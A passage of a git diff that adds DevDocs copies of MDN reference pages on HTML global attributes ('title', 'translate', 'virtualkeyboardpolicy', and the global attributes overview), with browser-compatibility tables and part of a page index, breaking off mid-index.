+  <p>Hovering here will show "CoolTip".</p>
+  <p title="">Hovering here will show nothing.</p>
+</div>
+
+
+

Result

+
+ + +
+

Accessibility concerns

+
+

Use of the title attribute is highly problematic for:

This is due to inconsistent browser support, compounded by the additional assistive technology parsing of the browser-rendered page. If a tooltip effect is desired, it is better to use a more accessible technique that can be accessed with the above browsing methods.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-title-attribute
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
title1121Yes15≤44.418414≤3.21.0
multi-line-supportYes12YesYesYesYesYesYesYesNoNoYes
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/title +

+
diff --git a/devdocs/html/global_attributes%2Ftranslate.html b/devdocs/html/global_attributes%2Ftranslate.html new file mode 100644 index 00000000..c9a58da7 --- /dev/null +++ b/devdocs/html/global_attributes%2Ftranslate.html @@ -0,0 +1,67 @@ +

translate

+

The translate global attribute is an enumerated attribute that is used to specify whether an element's translatable attribute values and its Text node children should be translated when the page is localized, or whether to leave them unchanged.

It can have the following values:

Although not all browsers recognize this attribute, it is respected by automatic translation systems such as Google Translate, and may also be respected by tools used by human translators. As such it's important that web authors use this attribute to mark content that should not be translated.

+
+

Examples

+
+

In this example, the translate attribute is used to ask translation tools not to translate the company's brand name in the footer.

+

html

+
<footer>
+  <small>© 2020 <span translate="no">BrandName</span></small>
+</footer>
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-translate
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
translate1979111No1564.4251111461.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/translate +

+
diff --git a/devdocs/html/global_attributes%2Fvirtualkeyboardpolicy.html b/devdocs/html/global_attributes%2Fvirtualkeyboardpolicy.html new file mode 100644 index 00000000..03158320 --- /dev/null +++ b/devdocs/html/global_attributes%2Fvirtualkeyboardpolicy.html @@ -0,0 +1,60 @@ +

virtualkeyboardpolicy

+

Experimental: This is an experimental technology
Check the Browser compatibility table carefully before using this in production.

The virtualkeyboardpolicy global attribute is an enumerated attribute. When specified on an element that also uses the contenteditable attribute, it controls the on-screen virtual keyboard behavior on devices such as tablets, mobile phones, or other devices where a hardware keyboard may not be available.

The attribute must take one of the following values:

+
+

Specifications

+
+ + +
Specification
VirtualKeyboard API
# dom-elementcontenteditable-virtualkeyboardpolicy
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
virtualkeyboardpolicy9494NoNo80No9494No66No17.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/virtualkeyboardpolicy +

+
diff --git a/devdocs/html/global_attributes.html b/devdocs/html/global_attributes.html new file mode 100644 index 00000000..f84d2a96 --- /dev/null +++ b/devdocs/html/global_attributes.html @@ -0,0 +1,638 @@ +

Global attributes

+

Global attributes are attributes common to all HTML elements; they can be used on all elements, though they may have no effect on some elements.

Global attributes may be specified on all HTML elements, even those not specified in the standard. That means that any non-standard elements must still permit these attributes, even though using those elements means that the document is no longer HTML5-compliant. For example, HTML5-compliant browsers hide content marked as <foo hidden>…</foo>, even though <foo> is not a valid HTML element.

In addition to the basic HTML global attributes, the following global attributes also exist:

+
+

List of global attributes

+
+
accesskey

Provides a hint for generating a keyboard shortcut for the current element. This attribute consists of a space-separated list of characters. The browser should use the first one that exists on the computer keyboard layout.

autocapitalize

Controls whether and how text input is automatically capitalized as it is entered/edited by the user. It can have the following values:

  • +off or none, no autocapitalization is applied (all letters default to lowercase)
  • +on or sentences, the first letter of each sentence defaults to a capital letter; all other letters default to lowercase
  • +words, the first letter of each word defaults to a capital letter; all other letters default to lowercase
  • +characters, all letters should default to uppercase
autofocus

Indicates that an element is to be focused on page load, or as soon as the <dialog> it is part of is displayed. This attribute is a boolean, initially false.

class

A space-separated list of the classes of the element. Classes allow CSS and JavaScript to select and access specific elements via the class selectors or functions like the method Document.getElementsByClassName().

contenteditable

An enumerated attribute indicating if the element should be editable by the user. If so, the browser modifies its widget to allow editing. The attribute must take one of the following values:

  • +true or the empty string, which indicates that the element must be editable;
  • +false, which indicates that the element must not be editable.
+contextmenu +

The id of a <menu> to use as the contextual menu for this element.

data-*

Forms a class of attributes, called custom data attributes, that allow proprietary information to be exchanged between the HTML and its DOM representation that may be used by scripts. All such custom data are available via the HTMLElement interface of the element the attribute is set on. The HTMLElement.dataset property gives access to them.

dir

An enumerated attribute indicating the directionality of the element's text. It can have the following values:

  • +ltr, which means left to right and is to be used for languages that are written from the left to the right (like English);
  • +rtl, which means right to left and is to be used for languages that are written from the right to the left (like Arabic);
  • +auto, which lets the user agent decide. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then it applies that directionality to the whole element.
draggable

An enumerated attribute indicating whether the element can be dragged, using the Drag and Drop API. It can have the following values:

  • +true, which indicates that the element may be dragged
  • +false, which indicates that the element may not be dragged.
enterkeyhint

Hints what action label (or icon) to present for the enter key on virtual keyboards.

+exportparts +

Used to transitively export shadow parts from a nested shadow tree into a containing light tree.

hidden

An enumerated attribute indicating that the element is not yet, or is no longer, relevant. For example, it can be used to hide elements of the page that can't be used until the login process has been completed. The browser won't render such elements. This attribute must not be used to hide content that could legitimately be shown.

id

Defines a unique identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with CSS).

inert

A boolean value that makes the browser disregard user input events for the element. Useful when click events are present.

inputmode

Provides a hint to browsers about the type of virtual keyboard configuration to use when editing this element or its contents. Used primarily on <input> elements, but is usable on any element while in contenteditable mode.

is

Allows you to specify that a standard HTML element should behave like a registered custom built-in element (see Using custom elements for more details).

Note: The item* attributes are part of the WHATWG HTML Microdata feature.

itemid

The unique, global identifier of an item.

itemprop

Used to add properties to an item. Every HTML element may have an itemprop attribute specified, where an itemprop consists of a name and value pair.

itemref

Properties that are not descendants of an element with the itemscope attribute can be associated with the item using an itemref. It provides a list of element ids (not itemids) with additional properties elsewhere in the document.

itemscope

itemscope (usually) works along with itemtype to specify that the HTML contained in a block is about a particular item. itemscope creates the Item and defines the scope of the itemtype associated with it. itemtype is a valid URL of a vocabulary (such as schema.org) that describes the item and its properties context.

itemtype

Specifies the URL of the vocabulary that will be used to define itemprops (item properties) in the data structure. itemscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active.

lang

Helps define the language of an element: the language that non-editable elements are in, or the language that editable elements should be written in by the user. The attribute contains one "language tag" (made of hyphen-separated "language subtags") in the format defined in RFC 5646: Tags for Identifying Languages (also known as BCP 47). xml:lang has priority over it.

nonce

A cryptographic nonce ("number used once") which can be used by Content Security Policy to determine whether or not a given fetch will be allowed to proceed.

part

A space-separated list of the part names of the element. Part names allows CSS to select and style specific elements in a shadow tree via the ::part pseudo-element.

popover

Used to designate an element as a popover element (see Popover API). Popover elements are hidden via display: none until opened via an invoking/control element (i.e. a <button> or <input type="button"> with a popovertarget attribute) or a HTMLElement.showPopover() call.

role

Roles define the semantic meaning of content, allowing screen readers and other tools to present and support interaction with an object in a way that is consistent with user expectations of that type of object. roles are added to HTML elements using role="role_type", where role_type is the name of a role in the ARIA specification.

slot

Assigns a slot in a shadow DOM shadow tree to an element: An element with a slot attribute is assigned to the slot created by the <slot> element whose name attribute's value matches that slot attribute's value.

spellcheck

An enumerated attribute defines whether the element may be checked for spelling errors. It may have the following values:

  • empty string or true, which indicates that the element should be, if possible, checked for spelling errors;
  • +false, which indicates that the element should not be checked for spelling errors.
style

Contains CSS styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the <style> element have mainly the purpose of allowing for quick styling, for example for testing purposes.

tabindex

An integer attribute indicating if the element can take input focus (is focusable), if it should participate to sequential keyboard navigation, and if so, at what position. It can take several values:

  • a negative value means that the element should be focusable, but should not be reachable via sequential keyboard navigation;
  • +0 means that the element should be focusable and reachable via sequential keyboard navigation, but its relative order is defined by the platform convention;
  • a positive value means that the element should be focusable and reachable via sequential keyboard navigation; the order in which the elements are focused is the increasing value of the tabindex. If several elements share the same tabindex, their relative order follows their relative positions in the document.
title

Contains a text representing advisory information related to the element it belongs to. Such information can typically, but not necessarily, be presented to the user as a tooltip.

translate

An enumerated attribute that is used to specify whether an element's attribute values and the values of its Text node children are to be translated when the page is localized, or whether to leave them unchanged. It can have the following values:

  • empty string or yes, which indicates that the element will be translated.
  • +no, which indicates that the element will not be translated.
virtualkeyboardpolicy

An enumerated attribute used to control the on-screen virtual keyboard behavior on devices such as tablets, mobile phones, or other devices where a hardware keyboard may not be available for elements that also uses the contenteditable attribute.

  • +auto or an empty string, which automatically shows the virtual keyboard when the element is focused or tapped.
  • +manual, which decouples focus and tap on the element from the virtual keyboard's state.
+
+

Specifications

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Specification
HTML Standard
# the-accesskey-attribute
HTML Standard
# attr-autocapitalize
HTML Standard
# attr-fe-autocomplete
HTML Standard
# dom-fe-autofocus
HTML Standard
# global-attributes:classes-2
HTML Standard
# attr-contenteditable
HTML Standard
# attr-data-*
HTML Standard
# the-dir-attribute
HTML Standard
# the-draggable-attribute
HTML Standard
# attr-enterkeyhint
CSS Shadow Parts
# element-attrdef-html-global-exportparts
HTML Standard
# the-hidden-attribute
HTML Standard
# global-attributes:the-id-attribute-2
HTML Standard
# the-inert-attribute
HTML Standard
# attr-inputmode
HTML Standard
# attr-is
HTML Standard
# attr-itemid
HTML Standard
# names:-the-itemprop-attribute
HTML Standard
# attr-itemref
HTML Standard
# attr-itemscope
HTML Standard
# attr-itemtype
HTML Standard
# attr-lang
HTML Standard
# attr-nonce
CSS Shadow Parts
# part-attr
HTML Standard
# the-popover-attribute
HTML Standard
# attr-popovertarget
HTML Standard
# attr-popovertargetaction
HTML Standard
# attr-slot
DOM Standard
# ref-for-dom-element-slot①
HTML Standard
# attr-spellcheck
HTML Standard
# the-style-attribute
HTML Standard
# attr-tabindex
HTML Standard
# the-title-attribute
HTML Standard
# attr-translate
VirtualKeyboard API
# dom-elementcontenteditable-virtualkeyboardpolicy
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
accesskey1121Yes15≤44.418414≤3.21.0
autocapitalize4379111No30No43431113054.0
autocomplete
14["In Chrome 66, support was added for the <textarea> and <select> elements.", "Originally only supported on the <input> element.", "Chrome does not accept off as a value. See bug 587466."]
≤794No≤12.16
4.4["In Chrome 66, support was added for the <textarea> and <select> elements.", "Originally only supported on the <input> element.", "Chrome does not accept off as a value. See bug 587466."]
18["In Chrome 66, support was added for the <textarea> and <select> elements.", "Originally only supported on the <input> element.", "Chrome does not accept off as a value. See bug 587466."]
4≤12.16
1.0["In Samsung Internet 9.0, support was added for the <textarea> and <select> elements.", "Originally only supported on the <input> element.", "Samsung Internet does not accept off as a value. See bug 587466."]
autofocus79
1–79Supported for the <button>, <input>, <select>, and <textarea> elements.
+		79
12–79Supported for the <button>, <input>, <select>, and <textarea> elements.
+
1Supported for the <button>, <input>, <select>, and <textarea> elements.
10Supported for the <button>, <input>, <select>, and <textarea> elements.
66
≤12.1–66Supported for the <button>, <input>, <select>, and <textarea> elements.
+
4Supported for the <button>, <input>, <select>, and <textarea> elements.
79
≤37–79Supported for the <button>, <input>, <select>, and <textarea> elements.
+		79
18–79Supported for the <button>, <input>, <select>, and <textarea> elements.
+
4Supported for the <button>, <input>, <select>, and <textarea> elements.
57
≤12.1–57Supported for the <button>, <input>, <select>, and <textarea> elements.
+
3.2Supported for the <button>, <input>, <select>, and <textarea> elements.
12.0
1.0–12.0Supported for the <button>, <input>, <select>, and <textarea> elements.
+
class1121Yes15≤44.418414≤3.21.0
contenteditable11235.59≤44.418414≤3.21.0
contextmenuNoNo9–85NoNoNoNoNo
32–56Support for the contextmenu attribute has been removed from Firefox for Android (See bug 1424252).
NoNoNo
data_attributes7126Yes155.14.41861451.0
dir1791No15≤44.418414≤3.21.0
draggable4122Yes1254.4184144.21.0
enterkeyhint777994No6613.17777945713.412.0
exportparts737972No6013.1737379?13.411.0
hidden1012411155.141841451.0
id11232
1–32id is a true global attribute only since Firefox 32.
+		Yes1514.41832
4–32id is a true global attribute only since Firefox 32.
+		1411.0
inert102102112No8815.51021021127015.519.0
inputmode66799517–23No53No6666794712.29.0
is677963No54No67676348No9.0
itemidYes12YesYesYesYesYesYesYesYesYesYes
itempropYes12YesYesYesYesYesYesYesYesYesYes
itemrefYes12YesYesYesYesYesYesYesYesYesYes
itemscopeYes12YesYesYesYesYesYesYesYesYesYes
itemtypeYes12YesYesYesYesYesYesYesYesYesYes
lang1121Yes15≤44.418414≤3.21.0
nonceYesYes31NoYesYesYesYes31YesYesYes
part737972No6013.17373795213.411.0
popover114114114No10017114114NoNo17No
popovertarget114114114No10017114114NoNo17No
popovertargetaction114114114No10017114114NoNo17No
slot53≤7963No401053536341106.0
spellcheck912Yes11YesYes474757379.35.0
style1121Yes1514.41841411.0
tabindex1121.5Yes15≤44.418414≤3.21.0
title1121Yes15≤44.418414≤3.21.0
translate1979111No1564.4251111461.5
virtualkeyboardpolicy9494NoNo80No9494No66No17.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes +

+
diff --git a/devdocs/html/index b/devdocs/html/index new file mode 100644 index 00000000..72ff309e --- /dev/null +++ b/devdocs/html/index @@ -0,0 +1 @@ +((pages . ["index" "element/head" "element/header" "element/body" "element/footer" "element/article" "element/div" "element/datalist" "element/nav" "element/title" "element/section" "element/progress" "element/p" "element/canvas" "element/details" "element/embed" "element/span" "element/img" "element/aside" "element/audio" "element/search" "element/output" "element/video" "element/ul" "element/ol" "element/li" "reference" "cors_enabled_image" "attributes/crossorigin" "attributes/rel/preload" "element/link" "attributes" "global_attributes" "element" "content_categories" "quirks_mode_and_standards_mode" "element/script" "element/style" "element/iframe" "element/html" "element/base" "element/meta" "element/noscript" "element/template" "element/meter" "element/label" "element/heading_elements" "element/main" "element/address" "element/hgroup" "element/time" "element/blockquote" "element/dl" "element/fieldset" "element/figcaption" "element/figure" "element/form" "element/hr" "element/menu" "element/pre" "element/table" "element/del" "element/a" "element/ins" "element/map" "element/br" "element/dt" "element/dd" "element/button" "element/input" "element/option" "global_attributes/id" "element/input/text" "element/input/search" "element/input/url" "element/input/tel" "element/input/email" "element/input/number" "element/input/month" "element/input/date" "element/input/datetime-local" "element/input/week" "element/input/time" "element/input/range" "element/input/color" "element/input/password" "element/summary" "global_attributes/title" "element/object" "element/picture" "attributes/elementtiming" "element/source" "element/track" "element/dir" "date_and_time_formats" "element/image" "attributes/rel" "element/frame" "attributes/rel/modulepreload" "attributes/accept" "global_attributes/itemprop" "global_attributes/accesskey" "element/caption" "element/col" "element/colgroup" "element/tbody" "element/td" "element/tfoot" "element/th" "element/thead" "element/tr" "element/area" "global_attributes/autocapitalize" "attributes/autocomplete" "element/select" "element/textarea" "element/marquee" "attributes/capture" "element/q" "global_attributes/class" "element/font" "global_attributes/contenteditable" "global_attributes/contextmenu" "global_attributes/data-*" "global_attributes/dir" "attributes/dirname" "attributes/disabled" "element/optgroup" "global_attributes/draggable" "attributes/for" "global_attributes/hidden" "global_attributes/inputmode" "global_attributes/lang" "attributes/minlength" "attributes/min" "attributes/multiple" "attributes/max" "attributes/maxlength" "element/param" "element/dialog" "attributes/pattern" "attributes/placeholder" "attributes/readonly" "attributes/required" "attributes/size" "global_attributes/slot" "global_attributes/spellcheck" "attributes/step" "global_attributes/style" "global_attributes/tabindex" "global_attributes/translate" "element/data" "global_attributes/autofocus" "global_attributes/enterkeyhint" "global_attributes/exportparts" "global_attributes/inert" "global_attributes/is" "global_attributes/itemid" "global_attributes/itemref" "global_attributes/itemscope" "global_attributes/itemtype" "global_attributes/nonce" "global_attributes/part" "global_attributes/popover" "element/slot" "global_attributes/virtualkeyboardpolicy" "element/cite" "element/abbr" "element/b" "element/bdi" "element/bdo" "element/code" "element/dfn" "element/em" "element/i" "element/kbd" "element/mark" "element/rp" "element/ruby" "element/rt" "element/s" "element/samp" "element/small" "element/strong" "element/sub" "element/sup" "element/u" "element/var" "element/wbr" "element/portal" "element/legend" "element/acronym" "element/big" "element/center" "element/frameset" "element/menuitem" "element/nobr" "element/noembed" "element/noframes" "element/plaintext" "element/rb" "element/rtc" "element/strike" "element/tt" "element/xmp" "element/script/type" "element/script/type/importmap" "element/script/type/speculationrules" "element/meta/name" "viewport_meta_tag" "microdata" "element/input/submit" "element/input/image" "attributes/rel/noopener" "attributes/rel/noreferrer" "element/input/reset" "element/input/button" "element/input/checkbox" "element/input/hidden" "element/input/file" "element/input/radio" "constraint_validation" "attributes/rel/preconnect" "attributes/rel/dns-prefetch" "attributes/rel/prerender" "attributes/rel/manifest" "attributes/rel/me" "attributes/rel/prefetch" "element/meta/name/theme-color"]) (entries . [((name . "a") (path . "element/a") (type . "Elements")) ((name . "abbr") (path . "element/abbr") (type . "Elements")) ((name . "accept (attribute)") (path . "attributes#accept-attribute") (type . "Attributes")) ((name . "accept-charset (attribute)") (path . "attributes#accept-charset-attribute") (type . "Attributes")) ((name . "accesskey (attribute)") (path . "global_attributes/accesskey") (type . "Attributes")) ((name . "acronym") (path . "element/acronym") (type . "Obsolete")) ((name . "action (attribute)") (path . "attributes#action-attribute") (type . "Attributes")) ((name . "address") (path . "element/address") (type . "Elements")) ((name . "align (attribute)") (path . "attributes#align-attribute") (type . "Attributes")) ((name . "allow (attribute)") (path . "attributes#allow-attribute") (type . "Attributes")) ((name . "alt (attribute)") (path . "attributes#alt-attribute") (type . "Attributes")) ((name . "area") (path . "element/area") (type . "Elements")) ((name . "article") (path . "element/article") (type . "Elements")) ((name . "aside") (path . "element/aside") (type . "Elements")) ((name . "async (attribute)") (path . "attributes#async-attribute") (type . "Attributes")) ((name . "Attributes") (path . "attributes") (type . "Miscellaneous")) ((name . "Attributes.accept") (path . "attributes/accept") (type . "Miscellaneous")) ((name . "Attributes.autocomplete") (path . "attributes/autocomplete") (type . "Miscellaneous")) ((name . "Attributes.capture") (path . "attributes/capture") (type . "Miscellaneous")) ((name . "Attributes.crossorigin") (path . "attributes/crossorigin") (type . "Miscellaneous")) ((name . "Attributes.dirname") (path . "attributes/dirname") (type . "Miscellaneous")) ((name . "Attributes.disabled") (path . "attributes/disabled") (type . "Miscellaneous")) ((name . "Attributes.elementtiming") (path . "attributes/elementtiming") (type . "Miscellaneous")) ((name . "Attributes.for") (path . "attributes/for") (type . "Miscellaneous")) ((name . "Attributes.max") (path . "attributes/max") (type . "Miscellaneous")) ((name . "Attributes.maxlength") (path . "attributes/maxlength") (type . "Miscellaneous")) ((name . "Attributes.min") (path . "attributes/min") (type . "Miscellaneous")) ((name . "Attributes.minlength") (path . "attributes/minlength") (type . "Miscellaneous")) ((name . "Attributes.multiple") (path . "attributes/multiple") (type . "Miscellaneous")) ((name . "Attributes.pattern") (path . "attributes/pattern") (type . "Miscellaneous")) ((name . "Attributes.placeholder") (path . "attributes/placeholder") (type . "Miscellaneous")) ((name . "Attributes.readonly") (path . "attributes/readonly") (type . "Miscellaneous")) ((name . "Attributes.rel") (path . "attributes/rel") (type . "Miscellaneous")) ((name . "Attributes.rel.dns-prefetch") (path . "attributes/rel/dns-prefetch") (type . "Miscellaneous")) ((name . "Attributes.rel.manifest") (path . "attributes/rel/manifest") (type . "Miscellaneous")) ((name . "Attributes.rel.me") (path . "attributes/rel/me") (type . "Miscellaneous")) ((name . "Attributes.rel.modulepreload") (path . "attributes/rel/modulepreload") (type . "Miscellaneous")) ((name . "Attributes.rel.noopener") (path . "attributes/rel/noopener") (type . "Miscellaneous")) ((name . "Attributes.rel.noreferrer") (path . "attributes/rel/noreferrer") (type . "Miscellaneous")) ((name . "Attributes.rel.preconnect") (path . "attributes/rel/preconnect") (type . "Miscellaneous")) ((name . "Attributes.rel.prefetch") (path . "attributes/rel/prefetch") (type . "Miscellaneous")) ((name . "Attributes.rel.preload") (path . "attributes/rel/preload") (type . "Miscellaneous")) ((name . "Attributes.rel.prerender") (path . "attributes/rel/prerender") (type . "Obsolete")) ((name . "Attributes.required") (path . "attributes/required") (type . "Miscellaneous")) ((name . "Attributes.size") (path . "attributes/size") (type . "Miscellaneous")) ((name . "Attributes.step") (path . "attributes/step") (type . "Miscellaneous")) ((name . "audio") (path . "element/audio") (type . "Elements")) ((name . "autocapitalize (attribute)") (path . "global_attributes/autocapitalize") (type . "Attributes")) ((name . "autocomplete (attribute)") (path . "attributes#autocomplete-attribute") (type . "Attributes")) ((name . "autofocus (attribute)") (path . "global_attributes/autofocus") (type . "Attributes")) ((name . "autoplay (attribute)") (path . "attributes#autoplay-attribute") (type . "Attributes")) ((name . "b") (path . "element/b") (type . "Elements")) ((name . "background (attribute)") (path . "attributes#background-attribute") (type . "Attributes")) ((name . "base") (path . "element/base") (type . "Elements")) ((name . "bdi") (path . "element/bdi") (type . "Elements")) ((name . "bdo") (path . "element/bdo") (type . "Elements")) ((name . "bgcolor (attribute)") (path . "attributes#bgcolor-attribute") (type . "Attributes")) ((name . "big") (path . "element/big") (type . "Obsolete")) ((name . "blockquote") (path . "element/blockquote") (type . "Elements")) ((name . "body") (path . "element/body") (type . "Elements")) ((name . "border (attribute)") (path . "attributes#border-attribute") (type . "Attributes")) ((name . "br") (path . "element/br") (type . "Elements")) ((name . "buffered (attribute)") (path . "attributes#buffered-attribute") (type . "Attributes")) ((name . "button") (path . "element/button") (type . "Elements")) ((name . "canvas") (path . "element/canvas") (type . "Elements")) ((name . "caption") (path . "element/caption") (type . "Elements")) ((name . "capture (attribute)") (path . "attributes#capture-attribute") (type . "Attributes")) ((name . "center") (path . "element/center") (type . "Obsolete")) ((name . "charset (attribute)") (path . "attributes#charset-attribute") (type . "Attributes")) ((name . "checked (attribute)") (path . "attributes#checked-attribute") (type . "Attributes")) ((name . "cite") (path . "element/cite") (type . "Elements")) ((name . "cite (attribute)") (path . "attributes#cite-attribute") (type . "Attributes")) ((name . "class (attribute)") (path . "global_attributes/class") (type . "Attributes")) ((name . "code") (path . "element/code") (type . "Elements")) ((name . "col") (path . "element/col") (type . "Elements")) ((name . "colgroup") (path . "element/colgroup") (type . "Elements")) ((name . "color (attribute)") (path . "attributes#color-attribute") (type . "Attributes")) ((name . "cols (attribute)") (path . "attributes#cols-attribute") (type . "Attributes")) ((name . "colspan (attribute)") (path . "attributes#colspan-attribute") (type . "Attributes")) ((name . "Constraint validation") (path . "constraint_validation") (type . "Miscellaneous")) ((name . "content (attribute)") (path . "attributes#content-attribute") (type . "Attributes")) ((name . "Content categories") (path . "content_categories") (type . "Miscellaneous")) ((name . "contenteditable (attribute)") (path . "global_attributes/contenteditable") (type . "Attributes")) ((name . "contextmenu (attribute)") (path . "global_attributes/contextmenu") (type . "Obsolete")) ((name . "controls (attribute)") (path . "attributes#controls-attribute") (type . "Attributes")) ((name . "coords (attribute)") (path . "attributes#coords-attribute") (type . "Attributes")) ((name . "CORS enabled image") (path . "cors_enabled_image") (type . "Miscellaneous")) ((name . "crossorigin (attribute)") (path . "attributes#crossorigin-attribute") (type . "Attributes")) ((name . "csp (attribute)") (path . "attributes#csp-attribute") (type . "Attributes")) ((name . "data") (path . "element/data") (type . "Elements")) ((name . "data (attribute)") (path . "attributes#data-attribute") (type . "Attributes")) ((name . "data-* (attribute)") (path . "global_attributes/data-*") (type . "Attributes")) ((name . "datalist") (path . "element/datalist") (type . "Elements")) ((name . "Date and time formats") (path . "date_and_time_formats") (type . "Miscellaneous")) ((name . "datetime (attribute)") (path . "attributes#datetime-attribute") (type . "Attributes")) ((name . "dd") (path . "element/dd") (type . "Elements")) ((name . "decoding (attribute)") (path . "attributes#decoding-attribute") (type . "Attributes")) ((name . "default (attribute)") (path . "attributes#default-attribute") (type . "Attributes")) ((name . "defer (attribute)") (path . "attributes#defer-attribute") (type . "Attributes")) ((name . "del") (path . "element/del") (type . "Elements")) ((name . "details") (path . "element/details") (type . "Elements")) ((name . "dfn") (path . "element/dfn") (type . "Elements")) ((name . "dialog") (path . "element/dialog") (type . "Elements")) ((name . "dir") (path . "element/dir") (type . "Obsolete")) ((name . "dir (attribute)") (path . "global_attributes/dir") (type . "Attributes")) ((name . "dirname (attribute)") (path . "attributes#dirname-attribute") (type . "Attributes")) ((name . "disabled (attribute)") (path . "attributes#disabled-attribute") (type . "Attributes")) ((name . "div") (path . "element/div") (type . "Elements")) ((name . "dl") (path . "element/dl") (type . "Elements")) ((name . "download (attribute)") (path . "attributes#download-attribute") (type . "Attributes")) ((name . "draggable (attribute)") (path . "global_attributes/draggable") (type . "Attributes")) ((name . "dt") (path . "element/dt") (type . "Elements")) ((name . "Element") (path . "element") (type . "Miscellaneous")) ((name . "em") (path . "element/em") (type . "Elements")) ((name . "embed") (path . "element/embed") (type . "Elements")) ((name . "enctype (attribute)") (path . "attributes#enctype-attribute") (type . "Attributes")) ((name . "enterkeyhint (attribute)") (path . "attributes#enterkeyhint-attribute") (type . "Attributes")) ((name . "enterkeyhint (attribute)") (path . "global_attributes/enterkeyhint") (type . "Attributes")) ((name . "exportparts (attribute)") (path . "global_attributes/exportparts") (type . "Attributes")) ((name . "fieldset") (path . "element/fieldset") (type . "Elements")) ((name . "figcaption") (path . "element/figcaption") (type . "Elements")) ((name . "figure") (path . "element/figure") (type . "Elements")) ((name . "font") (path . "element/font") (type . "Obsolete")) ((name . "footer") (path . "element/footer") (type . "Elements")) ((name . "for (attribute)") (path . "attributes#for-attribute") (type . "Attributes")) ((name . "form") (path . "element/form") (type . "Elements")) ((name . "form (attribute)") (path . "attributes#form-attribute") (type . "Attributes")) ((name . "formaction (attribute)") (path . "attributes#formaction-attribute") (type . "Attributes")) ((name . "formenctype (attribute)") (path . "attributes#formenctype-attribute") (type . "Attributes")) ((name . "formmethod (attribute)") (path . "attributes#formmethod-attribute") (type . "Attributes")) ((name . "formnovalidate (attribute)") (path . "attributes#formnovalidate-attribute") (type . "Attributes")) ((name . "formtarget (attribute)") (path . "attributes#formtarget-attribute") (type . "Attributes")) ((name . "frame") (path . "element/frame") (type . "Obsolete")) ((name . "frameset") (path . "element/frameset") (type . "Obsolete")) ((name . "Global attributes") (path . "global_attributes") (type . "Attributes")) ((name . "h1") (path . "element/heading_elements") (type . "Elements")) ((name . "h2") (path . "element/heading_elements") (type . "Elements")) ((name . "h3") (path . "element/heading_elements") (type . "Elements")) ((name . "h4") (path . "element/heading_elements") (type . "Elements")) ((name . "h5") (path . "element/heading_elements") (type . "Elements")) ((name . "h6") (path . "element/heading_elements") (type . "Elements")) ((name . "head") (path . "element/head") (type . "Elements")) ((name . "header") (path . "element/header") (type . "Elements")) ((name . "headers (attribute)") (path . "attributes#headers-attribute") (type . "Attributes")) ((name . "height (attribute)") (path . "attributes#height-attribute") (type . "Attributes")) ((name . "hgroup") (path . "element/hgroup") (type . "Elements")) ((name . "hidden (attribute)") (path . "global_attributes/hidden") (type . "Attributes")) ((name . "high (attribute)") (path . "attributes#high-attribute") (type . "Attributes")) ((name . "hr") (path . "element/hr") (type . "Elements")) ((name . "href (attribute)") (path . "attributes#href-attribute") (type . "Attributes")) ((name . "hreflang (attribute)") (path . "attributes#hreflang-attribute") (type . "Attributes")) ((name . "html") (path . "element/html") (type . "Elements")) ((name . "http-equiv (attribute)") (path . "attributes#http-equiv-attribute") (type . "Attributes")) ((name . "i") (path . "element/i") (type . "Elements")) ((name . "id (attribute)") (path . "global_attributes/id") (type . "Attributes")) ((name . "iframe") (path . "element/iframe") (type . "Elements")) ((name . 